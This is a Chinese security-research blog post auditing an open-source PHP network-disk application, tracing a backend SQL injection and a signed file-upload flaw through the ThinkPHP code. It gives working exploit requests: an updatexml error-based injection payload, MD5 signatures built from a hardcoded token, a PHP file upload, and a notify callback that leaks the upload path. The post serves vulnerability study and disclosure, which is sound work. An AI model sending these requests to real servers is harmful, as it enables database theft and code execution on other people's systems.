代码审计 - PHP - 某网盘1day分析

前言

本篇文章首发在先知社区(为先知打Call) 作者Zjacky(本人) 先知社区名称: Zjacky 原文链接为https://xz.aliyun.com/t/13868

代码审计篇章都是自己跟几个师傅们一起审计的1day或者0day(当然都是小公司较为简单),禁止未经允许进行转载,发布到博客的用意主要是想跟师傅们能够交流下审计的思路,毕竟审计的思路也是有说法的,或者是相互源码共享也OK,本次审计的目标是某开源网盘的审计,大部分是一些带颜色的网站和奇怪的东东使用,有师傅分析过了但没详细审计思路于是有了这篇博客来交流交流

审计

路由分析

首先这里明眼人一看就知道在application​这个目录下,可以抓登录的接口或者注册的接口或者进去后的接口来判断对应的代码之后登录进去寻找文件

image​​

‍​image​​

路由很少,所以很明显看出我们登录的/user/login/​对应的是index​目录下的User.php​的login​方法

image

后台SQL注入

emm本来想看前台的,但是大部分是存在鉴权代码的

image

$this->userInfo['id']

由于是TP的框架,所以先来回顾下TP的where​语句

7a43a6589314728fd86a0126f8c3288

在TP框架中,大部分的SQL查询都是做了参数绑定的,如下图所示

image

这里的$code​就是做了参数绑定,但是一开始去试着访问的时候发现是 404​ 并且返回非法请求

然后参考了下这篇文章 发现原来可能存在路由定义的问题

https://www.kancloud.cn/z8859346/thinkphp/1747811

找到/route/route.php

image

发现对index​这个模块进行了定义,所以要根据他的规则来进行访问,只要访问了/s:code​就会去访问index/share​方法

image

但因为:code​进行了占位符 所以相当于绑定了参数无法进行注入

image

所以这些点都不存在SQL注入

于是转向了后台

跟踪到index的file文件,发现了list()​方法这里接受几个可控的 参数foloder.id​、search​,进入到FileManager#listFile()​方法中

image

主要是因为listfile()​这个命名还是很大可能会跟数据库有关联的,所以跟进下

image

listFile​这个方法里面,他会先执行self​类里面的getfolderPid​这个方法,并且传入$folder_id

再次跟进

image

我们传入的内容不为空,所以传了啥返回啥,接下来往下走就是整个SQL的一个坑点了

坑点

接着就是数组的形式进行赋值

image

那么现在问题来了,他是以数组的形式去进行sql查询,那么可能存在sql的点吗?我们来进行mysql的监控

代码如下,先是单数组正常使用select​查询

1
2
3
4
5
6
7
8
$ttt = db('stores')
->where(['parent_folder'=>$folder_id])
->where('origin_name','like','%'.$search.'%')
->field('id,uid,shares_id,origin_name as name,ext,size,count_down,count_open,update_time')
->select();

var_dump($ttt);
die();

image

发现正常转义了,那么双数组跟三数组也是一样到效果,那么这里就得到一个结论,并不是因为数组的拼接问题所导致的sql注入,那么细心的话可以发现,我的代码其实跟原始代码是有一定的区别的,就是并没有加入一个关键代码

1
->fetchSql(true)

这里来解释一下fetchSql​ 方法

fetchSql 方法在 ThinkPHP 框架中(以及其他可能支持该功能的框架或数据库操作类)的主要作用是获取即将执行的 SQL 查询语句,而不是真正执行这个查询。当你调用 fetchSql(true) 时,框架会生成对应的 SQL 语句并返回,但并不会执行该 SQL

啥意思呢,来看数据库监控

image

可以发现数据库监控仅仅只是输出了一条 展示字段的SQL语句

1
SHOW COLUMNS FROM `sk_stores`

那其实就是因为他压根就没有进行查询我们的where​条件 —> 这其实就也印证了我之前一直说 并没有在数据库监控中看到这些查询语句,是因为使用了fetchSql(true)

那么接下来既然是没有进行SQL语句的执行的,那么也就是我们现在的$files_sql​是一条尚未执行的SQL语句,我们来打印一下看看

1
string(221) "SELECT `id`,`uid`,`shares_id`,origin_name as name,`ext`,`size`,`count_down`,`count_open`,`update_time` FROM `sk_stores` WHERE  `uid` = 10  AND `parent_folder` = 3'  AND `delete_time` IS NULL  AND `origin_name` LIKE '%aa%'"

image

正是因为没有带入数据库查询,所以里面的特殊符号比如'​就并没有参数绑定或者预编译或者转义,而最终产生SQL注入的万恶之源,正是下方的union

image

image

1
2
3
4
5
SELECT `id`,`uid`,`shares_id`,folder_name as name,`ext`,`size`,`count_down`,`count_open`,`update_time` FROM `sk_folders` WHERE  `uid` = 10  AND `parent_folder` = '3'  AND `delete_time` IS NULL  AND `folder_name` LIKE '%aa%' 

UNION ALL

( SELECT `id`,`uid`,`shares_id`,origin_name as name,`ext`,`size`,`count_down`,`count_open`,`update_time` FROM `sk_stores` WHERE `uid` = 10 AND `parent_folder` = 3 AND `delete_time` IS NULL AND `origin_name` LIKE '%aa%' ) LIMIT 0,20

所以最终的结果就是因为通过了union​去拼接起来了,所以才导致了SQL注入的产生,破案了

最终报文如下

1
2
3
4
5
6
7
8
9
10
11
GET /file/list?folder_id=1-updatexml(1,concat(0x7e,database(),0x7e),1)&search=&page=&rows= HTTP/1.1
Host: wp.com
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Type: application/json
Referer: http://wp.com/user/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=21cpn2h5jqf7e47k8dtlrhnmk4
Connection: close

image

文件上传

首先全局搜索move_uploaded_file​函数,发现public/server/index.php​文件引用该函数

image

之后便发现这个方法是一个protected​权限来修饰,所以这个方法直接调用不成功

image

之后就要去观看这个文件被谁来调用 发现是\public\server\index.php#start()​调用了,刚好是符合protected​属性的

image

但是往上看发现存在验签操作

image

发现是存在两个传参,$command$sign​ 并且是需要验签的,那我们跟进sign_verify​看看

image

继续跟进​sign_params

image

如果不理解我们可以写个demo本地测试下

首先流程如下

1
我们传入的HTTP参数 这个数组的hash  == 我们sign传入的hash 

image

他会把我们传入的$sign​不作为$params​去传参

image​​

那么逻辑就清楚了就是我们GET​传参的内容跟我们token​传入的内容进行拼接且MD5的值跟我们$sign​要相同

image

如果验签成功,就能够进入到upload​的逻辑中

之后就调用upload_file​这个函数,这个函数我也说了,他是调用move_uplaoded_file​函数进行上传的,他接受一个参数uid​的值

image

那么在这里我们就尝试进行复现,当刚打开BP我就发现问题了,emmm在上述的demo中我是写死了拼接的字符串的,但是远程是$this->config['token']​ 拼接这个东西啊,所以跟进一下这个$config​的内容,发现在最下面就定义了token的内容为asdasfasfasfasfasfa

image

那么就可以直接生成sign​了

1
<?php echo md5("md=upload&uid=1asdasfasfasfasfasfa");?>

那么继续复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /server/index.php/start?md=upload&uid=1&sign=e8766abd8742eb67a2c07b089ecf636a HTTP/1.1
Host: wp.com
Cache-Control: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=--------------------------570796120375390059114427
User-Agent: PostmanRuntime-ApipostRuntime/1.1.0
Content-Length: 389

----------------------------570796120375390059114427
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/x-httpd-php

<?php phpinfo(); ?>
----------------------------570796120375390059114427--

上传后返回如下

image

解码后为 同步错误

image

来看看源码

image

发现已经上传了,但是咱不知道上传路径啊。。。找一下本地可以发现在这里

image

但是如何找路径呢,可以关注到后续还有一串代码

1
$res = $this->upload_notify($_GET['notify'],$info);

我将$info​打印了下发现已经存入了上传的路径了

image

跟进下upload_notify​ 发现跟SSRF一样可以向外请求并且带上我们的$info​ ——–> 这感觉写的就怕我找不到路径似的,这里的验签压根就不需要管他,因为文件都传上去了,无所谓了,只需要路径,而他也并没有判断验签对不对(如果校验了,就没办法上传了,因为$info​是未知的)

image

于是带好参数写好验签即可成功触发

1
echo md5("md=upload&notify=http://127.0.0.1:8877/&uid=1asdasfasfasfasfasfa");

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /server/index.php/start?md=upload&uid=1&notify=http://127.0.0.1:8877/&sign=88c03d47ed5a1df9ed7ed9e1c1ce8afd HTTP/1.1
Host: wp.com
Cache-Control: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=--------------------------570796120375390059114427
User-Agent: PostmanRuntime-ApipostRuntime/1.1.0
Content-Length: 389

----------------------------570796120375390059114427
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/x-httpd-php

<?php phpinfo(); ?>
----------------------------570796120375390059114427--

总结

  1. 多扣代码多调试才行,一步一步来
  2. 有些时候框架忘记或者不熟悉还是要多仔细看看才行


代码审计 - PHP - 某网盘1day分析
https://zjackky.github.io/post/code-audit-php-network-disk-1day-analysis-duplicated-20240108-19-32-53-1i9ljt.html
作者
Zjacky
发布于
2024年1月6日
许可协议